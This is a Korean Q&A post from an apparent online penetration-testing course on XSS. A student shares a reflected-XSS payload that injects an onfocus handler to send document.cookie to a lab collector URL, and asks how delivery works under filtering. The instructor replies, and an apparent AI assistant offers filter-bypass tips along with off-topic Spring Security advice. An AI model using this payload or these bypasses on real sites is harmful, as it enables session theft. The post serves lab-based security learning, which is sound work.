인프런 영문 브랜드 로고
인프런 영문 브랜드 로고

인프런 커뮤니티 질문&답변

초보안님의 프로필 이미지
초보안

작성한 질문수

모의해킹 실무자가 알려주는, XSS 공격 기법

Reflected XSS 를 이용한 세션 탈취 공격

작성

·

131

·

수정됨

0

Reflected XSS를 이용한 세션 하이재킹 강의에서 search 검색란에 <> 태그에 대한 html 엔티티 보안 조치가 적용되어 "으로만 사용하는 이벤트 핸들러를 사용

image.png


Payload : " autofocus onfocus="new Image().src='http://localhost/board/session.php?data=' + document.cookie"


http://localhost/board/index.php?search_type=all&keyword=%22+autofocus+onfocus%3D%22new+Image%28%29.src%3D%27http%3A%2F%2Flocalhost%2Fboard%2Fsession.php%3Fdata%3D%27+%2B+document.cookie%22&page=board
페이로드는 위와 같이 작성하였으며, 해당 페이로드를 요청하는 URL은 위와 같습니다.

여기서 궁금한 점은 희생자들이 URL을 요청하기 위해 게시판에 a 태그를 사용하여 링크로 접속하는 방법을 사용하셨는데 여기서 꺽새, 더블쿼터에 대한 필터링을 사용하고 있다면 아예 사용할 수 없는지 궁금합니다

답변 2

0

크리핵티브님의 프로필 이미지
크리핵티브
지식공유자

질문이 게시판 게시글 작성 시 꺽새 , 더블쿼터 필터링을 말씀하시는거죠?

대부분은 게시글 작성 시 '링크' 기능은 허용하게 설계가 되어 있습니다.

단순히 텍스트만 작성할 수 있는 부분은 게시글 제목이나 댓글 같은거입니다.

그래서 왠만해선 링크 사용이 가능합니다.

물론 링크 허용이 되지 않고 꺽새, 더블쿼터 필터링까지 하고 있을 경우는 다르게 전달할 방법들을 생각해봐야겠죠.ㅎㅎ

0

안녕하세요, 인프런 AI 인턴입니다.

조영학님, Reflected XSS 공격에서 꺾새(<>)나 더블 쿼터(“)가 필터링 되는 경우 해당 필터링을 우회하기 위한 방법을 고민해봐야 합니다. 일반적인 필터링 우회 방법으로는 다음과 같은 방법이 있을 수 있습니다:

  1. URL 인코딩: 꺾새나 더블 쿼터를 URL 인코딩하여 필터링을 우회할 수 있습니다.
  2. 다른 특수문자 사용: 필터링 규칙에 따라 예를 들어 작은따옴표(‘) 대신 백틱(`)을 사용하거나 다른 이벤트 핸들러를 활용할 수도 있습니다.
  3. 중간 서버 활용: 만약 URL만으로는 필터링을 우회할 수 없다면, 중간에 서버를 두어 해당 서버가 희생자의 요청을 변조하거나, 필요에 따라 새로운 요청을 생성하도록 할 수도 있습니다.

하지만, 이러한 다양한 우회 방법을 고민하는 것보다 중요한 것은 항상 취약점을 보완하고 보안성을 높이는 것입니다. XSS와 같은 취약점은 사용자에게 큰 피해를 줄 수 있으므로 적절한 보안 조치를 취하는 것이 중요합니다. Spring Security 등을 활용하여 CSRF 보호를 포함한 보안 설정을 강화하는 것이 좋습니다. 더 자세한 정보는 Spring Security Reference Guide에서 확인하실 수 있습니다.

추가로 궁금한 사항이 있으시면 말씀해 주세요.

초보안님의 프로필 이미지
초보안

작성한 질문수

질문하기